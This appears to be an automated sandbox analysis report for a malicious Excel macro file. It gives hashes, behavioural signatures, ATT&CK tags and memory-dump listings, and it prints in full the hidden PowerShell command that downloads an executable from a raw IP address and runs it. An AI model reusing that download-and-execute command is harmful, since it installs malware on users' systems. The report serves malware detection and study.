bfe6807e6c403cb0b54b810f87d17f6453faa508ddf4a9451cd4c1bcdd14550d

Analysis

max time kernel
136s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
11-04-2023 11:10

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General

Target

doc220689990507.xlsm
Size

430KB
MD5

52bafaa08244532ff13caa997189813c
SHA1

481c5125478d65e516a1af3038a0551116c2c637
SHA256

bfe6807e6c403cb0b54b810f87d17f6453faa508ddf4a9451cd4c1bcdd14550d
SHA512

fee2acdd4c7359679bff9db3932e0be799ebd40d10952913555d4027df9264d5d5dbb0cdba0141754ebe65a99dbcea491bb2a486ff806acf5cf0897060cf45ae
SSDEEP

12288:2PIXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UfN:2RwarmMSAGMID1R5OtfN

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	996	4432	powershell.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	996	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4432	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
996	powershell.exe
996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	996	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4432	EXCEL.EXE
4432	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE
4432	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4432 wrote to memory of 996	4432	EXCEL.EXE	88
PID 4432 wrote to memory of 996	4432	EXCEL.EXE	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\doc220689990507.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://62.108.40.105/iy/Jhrkxmekol.exe" -OutFile $TempFile; Start-Process $TempFile;
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yifbbgz.s3s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/996-170-0x00000232A6370000-0x00000232A6380000-memory.dmp

Filesize
64KB

Download
memory/996-169-0x00000232A6370000-0x00000232A6380000-memory.dmp

Filesize
64KB

Download
memory/996-168-0x00000232A6370000-0x00000232A6380000-memory.dmp

Filesize
64KB

Download
memory/996-158-0x00000232A6370000-0x00000232A6380000-memory.dmp

Filesize
64KB

Download
memory/996-159-0x00000232A6370000-0x00000232A6380000-memory.dmp

Filesize
64KB

Download
memory/996-160-0x00000232A6370000-0x00000232A6380000-memory.dmp

Filesize
64KB

Download
memory/996-153-0x00000232A6380000-0x00000232A63A2000-memory.dmp

Filesize
136KB

Download
memory/4432-136-0x00007FFC8C1B0000-0x00007FFC8C1C0000-memory.dmp

Filesize
64KB

Download
memory/4432-139-0x00007FFC89DB0000-0x00007FFC89DC0000-memory.dmp

Filesize
64KB

Download
memory/4432-138-0x00007FFC89DB0000-0x00007FFC89DC0000-memory.dmp

Filesize
64KB

Download
memory/4432-137-0x00007FFC8C1B0000-0x00007FFC8C1C0000-memory.dmp

Filesize
64KB

Download
memory/4432-133-0x00007FFC8C1B0000-0x00007FFC8C1C0000-memory.dmp

Filesize
64KB

Download
memory/4432-135-0x00007FFC8C1B0000-0x00007FFC8C1C0000-memory.dmp

Filesize
64KB

Download
memory/4432-134-0x00007FFC8C1B0000-0x00007FFC8C1C0000-memory.dmp

Filesize
64KB

Download